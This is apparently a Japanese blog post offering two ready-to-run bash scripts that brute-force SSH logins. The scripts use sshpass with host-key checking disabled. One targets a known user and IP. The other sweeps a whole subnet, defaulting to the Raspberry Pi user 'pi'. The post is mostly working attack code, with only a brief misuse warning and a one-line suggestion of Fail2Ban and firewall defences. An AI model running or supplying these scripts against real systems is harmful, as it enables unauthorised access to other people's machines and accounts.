0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

SSHに対してBruteForceするシェルスクリプト

Posted at

悪用厳禁です。
よくわからないなら使わないでください。

ユーザー名とIPが判明している場合

arguments = username, ip address, password list file

#!/bin/bash

user_name="${1}"  # Username from the first parameter
ip_address="${2}"  # Specific IP address from the second parameter
password_list="${3:-~/passwords.txt}"  # Path to the password file from the third parameter, defaulting if not provided

echo -e "Attempting to connect to $ip_address with username: $user_name"

# Loop through each password
while IFS= read -r password; do
    echo "Testing password: $password"
    # Use sshpass to attempt to login
    sshpass -p "$password" ssh -o StrictHostKeyChecking=no ${user_name}@${ip_address} "echo 'Success'; exit"
    if [ $? -eq 0 ]; then
        echo "Password found: $password at IP: $ip_address"
        break  # Exit loop if password is correct
    fi
done < "$password_list"

基本形

arguments = username, ip range, ip_from, ip_to, path_to_passwordlist

#!/bin/bash

user_name="${1:-pi}"  # Default to 'pi' if no username is provided
ip_range="${2:-192.168.0}"  # Default IP range
ip_from="${3:-1}"
ip_to="${4:-254}"  # Scan all possible IPs in the subnet

echo "Attempting to connect to a Pi with username: ${user_name}\n"

# Path to your password file
password_list="${5:-~/passwords.txt}"

# Loop through each IP in the specified range
for i in $(seq ${ip_from} ${ip_to}); do
    echo "Trying with: ${ip_range}.$i"
    # Loop through each password
    while IFS= read -r password; do
        echo "Testing password: $password"
        # Use sshpass to attempt to login
        sshpass -p "$password" ssh -o StrictHostKeyChecking=no ${user_name}@${ip_range}.$i "echo 'Success'; exit"
        if [ $? -eq 0 ]; then
            echo "Password found: $password at IP: ${ip_range}.$i"
            break 2  # Exit both loops if password is correct
        fi
    done < "$password_list"
done
  • 使用する場合GPG併用推奨
  • Fail2Ban、SSH Configuration、Firewallで防衛推奨
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?